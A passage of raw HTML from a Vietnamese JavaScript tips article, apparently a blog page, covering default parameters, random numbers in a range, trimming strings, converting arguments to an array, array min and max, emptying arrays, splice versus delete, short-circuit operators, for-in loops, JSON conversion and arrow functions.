||</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Person</span><span class="token punctuation">(</span><span class="token parameter">name<span class="token punctuation">,</span> age</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name <span class="token operator">||</span> <span class="token string">"Alex"</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>age <span class="token operator">=</span> age <span class="token operator">||</span> <span class="token number">20</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> p1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Person</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>p1<span class="token punctuation">.</span>name<span class="token punctuation">,</span> p1<span class="token punctuation">.</span>age<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Alex, 20</span> <span class="token keyword">let</span> p2 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Person</span><span class="token punctuation">(</span><span class="token string">"John"</span><span class="token punctuation">,</span> <span class="token number">25</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>p2<span class="token punctuation">.</span>name<span class="token punctuation">,</span> p2<span class="token punctuation">.</span>age<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => John, 25</span></code></pre></div> <p><strong>ES6: hỗ trợ trực tiếp</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Person</span><span class="token punctuation">(</span>name <span class="token operator">=</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> age <span class="token operator">=</span> <span class="token number">20</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>age <span class="token operator">=</span> age<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> p1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Person</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>p1<span class="token punctuation">.</span>name<span class="token punctuation">,</span> p1<span class="token punctuation">.</span>age<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Alex, 20</span> <span class="token keyword">let</span> p2 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Person</span><span class="token punctuation">(</span><span class="token string">"John"</span><span class="token punctuation">,</span> <span class="token number">25</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>p2<span class="token punctuation">.</span>name<span class="token punctuation">,</span> p2<span class="token punctuation">.</span>age<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => John, 25</span></code></pre></div> <h2 id="lấy-random-trong-một-đoạn" style="position:relative;"><a href="#l%E1%BA%A5y-random-trong-m%E1%BB%99t-%C4%91o%E1%BA%A1n" aria-label="lấy random trong một đoạn permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lấy random trong một đoạn</h2> <p>Hàm random sau trả về một số ngẫu nhiên trong đoạn từ min đến max:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">random</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">min<span class="token punctuation">,</span> max</span><span class="token punctuation">)</span> <span class="token operator">=></span> Math<span class="token punctuation">.</span><span class="token function">floor</span><span class="token punctuation">(</span>Math<span class="token punctuation">.</span><span class="token function">random</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token punctuation">(</span>max <span class="token operator">-</span> min <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">+</span> min<span class="token punctuation">;</span> <span class="token comment">// Usage</span> <span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token function">random</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">100</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="loại-bỏ-kí-tự-trống-trim-2-đầu-string" style="position:relative;"><a href="#lo%E1%BA%A1i-b%E1%BB%8F-k%C3%AD-t%E1%BB%B1-tr%E1%BB%91ng-trim-2-%C4%91%E1%BA%A7u-string" aria-label="loại bỏ kí tự trống trim 2 đầu string permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Loại bỏ kí tự trống (trim) 2 đầu string</h2> <p>Bạn có thể sử dụng phương thức trim() hỗ trợ sẵn của string:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">" Hello World! "</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Hello World!</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">.</span><span class="token function">trim</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Hello World!</span></code></pre></div> <p>Trong trường hợp trình duyệt không hỗ trợ phương thức trên, bạn có thể sử dụng <a href="/tim-hieu-regular-expression-javascript/">Regex</a>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">trim</span><span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> x<span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^\s+|\s+$</span><span class="token regex-delimiter">/</span><span class="token regex-flags">gm</span></span><span class="token punctuation">,</span> <span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">" Hello World! "</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Hello World!</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">trim</span><span class="token punctuation">(</span>str<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Hello World!</span></code></pre></div> <h2 id="chuyển-đối-tượng-arguments-thành-array" style="position:relative;"><a href="#chuy%E1%BB%83n-%C4%91%E1%BB%91i-t%C6%B0%E1%BB%A3ng-arguments-th%C3%A0nh-array" aria-label="chuyển đối tượng arguments thành array permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chuyển đối tượng arguments thành array</h2> <p><a href="/ham-la-gi-ham-trong-javascript/">Hàm số</a> trong JavaScript luôn có một đối tượng mặc định là <a href="/object-la-gi-object-trong-javascript/">arguments</a> để quản lý tham số của hàm. Tuy nhiên, đối tượng này không phải là <a href="/array-la-gi-array-trong-javascript/">array</a> nên bạn không thể sử dụng các phương thức như <a href="/javascript-foreach-la-cai-quai-gi/">forEach</a>, map,...</p> <p>Để chuyển đối tượng này thành array, bạn có thể sử dụng một trong các cách sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> args <span class="token operator">=</span> <span class="token class-name">Array</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span>arguments<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> args <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span>arguments<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ES2015</span> <span class="token keyword">let</span> args <span class="token operator">=</span> Array<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span>arguments<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="tìm-max-và-min-của-các-phần-tử-trong-mảng" style="position:relative;"><a href="#t%C3%ACm-max-v%C3%A0-min-c%E1%BB%A7a-c%C3%A1c-ph%E1%BA%A7n-t%E1%BB%AD-trong-m%E1%BA%A3ng" aria-label="tìm max và min của các phần tử trong mảng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tìm max và min của các phần tử trong mảng</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> numbers <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">8</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">125</span><span class="token punctuation">,</span> <span class="token number">28</span><span class="token punctuation">,</span> <span class="token number">100</span><span class="token punctuation">,</span> <span class="token number">215</span><span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">85</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> maxInNumbers <span class="token operator">=</span> Math<span class="token punctuation">.</span><span class="token function">max</span><span class="token punctuation">.</span><span class="token function">apply</span><span class="token punctuation">(</span>Math<span class="token punctuation">,</span> numbers<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> minInNumbers <span class="token operator">=</span> Math<span class="token punctuation">.</span><span class="token function">min</span><span class="token punctuation">.</span><span class="token function">apply</span><span class="token punctuation">(</span>Math<span class="token punctuation">,</span> numbers<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>maxInNumbers<span class="token punctuation">,</span> minInNumbers<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 215 -125</span></code></pre></div> <h2 id="đưa-mảng-về-rỗng" style="position:relative;"><a href="#%C4%91%C6%B0a-m%E1%BA%A3ng-v%E1%BB%81-r%E1%BB%97ng" aria-label="đưa mảng về rỗng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đưa mảng về rỗng</h2> <p>Nhiều bạn đưa mảng về rỗng bằng cách:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">;</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span></code></pre></div> <p>Khi đó, thực chất là bạn đã tạo thêm một mảng mới. Cách đơn giản để giải quyết vấn đề này là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">;</span> a<span class="token punctuation">.</span>length <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => []</span></code></pre></div> <h2 id="loại-bỏ-một-phần-tử-ra-khỏi-mảng" style="position:relative;"><a href="#lo%E1%BA%A1i-b%E1%BB%8F-m%E1%BB%99t-ph%E1%BA%A7n-t%E1%BB%AD-ra-kh%E1%BB%8Fi-m%E1%BA%A3ng" aria-label="loại bỏ một phần tử ra khỏi mảng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Loại bỏ một phần tử ra khỏi mảng</h2> <p>Bạn không nên sử dụng <strong>delete</strong> để loại bỏ một phần tử ra khỏi mảng. Hàm này không loại bỏ 1 phần tử ra khỏi mảng mà thay vào đó, nó làm cho giá trị của phần tử đó thành <strong>undefined</strong> và độ dài của mảng vẫn không thay đổi.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">5</span><span class="token punctuation">,</span> <span class="token string">"cde"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => ["a", 1, -5, "cde"]</span> <span class="token keyword">delete</span> arr<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => ["a", 1, undefined, "cde"]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 4</span></code></pre></div> <p>Thay vào đó, bạn có thể dùng hàm <strong>splice</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">5</span><span class="token punctuation">,</span> <span class="token string">"cde"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => ["a", 1, -5, "cde"]</span> arr<span class="token punctuation">.</span><span class="token function">splice</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => ["a", 1, "cde"]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 3</span></code></pre></div> <h2 id="sử-dụng-and--và-or--thay-cho-if" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-and--v%C3%A0-or--thay-cho-if" aria-label="sử dụng and và or thay cho if permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng and (&#x26;&#x26;) và or (||) thay cho if</h2> <p>Giả sử bạn có các câu điều kiện sử dụng if như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>a <span class="token operator">===</span> <span class="token number">10</span><span class="token punctuation">)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"a === 10"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => a === 10</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>a <span class="token operator">!==</span> <span class="token number">5</span><span class="token punctuation">)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"a !== 5"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => a !== 5</span></code></pre></div> <p>Khi đó, bạn có thể sử dụng toán tử <strong>&#x26;&#x26;</strong> và <strong>||</strong> để thay thế như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> a <span class="token operator">===</span> <span class="token number">10</span> <span class="token operator">&amp;&amp;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"a === 10"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => a === 10</span> a <span class="token operator">===</span> <span class="token number">5</span> <span class="token operator">||</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"a !== 5"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => a !== 5</span></code></pre></div> <p>Hoặc kết hợp cả hai toán tử, thay vì:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Hoặc kết hợp cả 2 toán tử</span> <span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>a <span class="token operator">===</span> <span class="token number">5</span><span class="token punctuation">)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"a === 5"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">else</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"a !== 5"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>thì bạn có thể làm như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> <span class="token punctuation">(</span>a <span class="token operator">===</span> <span class="token number">5</span> <span class="token operator">&amp;&amp;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"a === 5"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">||</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"a !== 5"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="duyệt-tất-cả-các-properties-của-object-sử-dụng-for-in-loop" style="position:relative;"><a href="#duy%E1%BB%87t-t%E1%BA%A5t-c%E1%BA%A3-c%C3%A1c-properties-c%E1%BB%A7a-object-s%E1%BB%AD-d%E1%BB%A5ng-for-in-loop" aria-label="duyệt tất cả các properties của object sử dụng for in loop permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Duyệt tất cả các properties của object sử dụng for-in loop</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> name <span class="token keyword">in</span> object<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>object<span class="token punctuation">.</span><span class="token function">hasOwnProperty</span><span class="token punctuation">(</span>name<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// do something with name</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h2 id="convert-object-sang-json-và-ngược-lại" style="position:relative;"><a href="#convert-object-sang-json-v%C3%A0-ng%C6%B0%E1%BB%A3c-l%E1%BA%A1i" aria-label="convert object sang json và ngược lại permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Convert Object sang JSON và ngược lại</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">b</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> strJSON <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>obj1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Object => JSON string</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>strJSON<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => {"a":1,"b":2}</span> <span class="token keyword">let</span> obj2 <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>strJSON<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// JSON string => object</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => {a: 1, b: 2}</span></code></pre></div> <h2 id="viết-hàm-ngắn-hơn-với-arrow-function" style="position:relative;"><a href="#vi%E1%BA%BFt-h%C3%A0m-ng%E1%BA%AFn-h%C6%A1n-v%E1%BB%9Bi-arrow-function" aria-label="viết hàm ngắn hơn với arrow function permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Viết hàm ngắn hơn với arrow function</h2> <p>Ví dụ sau sử dụng map để trả về mảng mới với mỗi phần tử là bình phương của mỗi phần tử trong mảng ban đầu:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> a2 <span class="token operator">=</span> a<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> item <span class="token operator">*</span> item<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => [1, 4, 9, 16, 25]</span></code></pre></div> <p>Nếu sử dụng arrow function thì sẽ thế này:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token 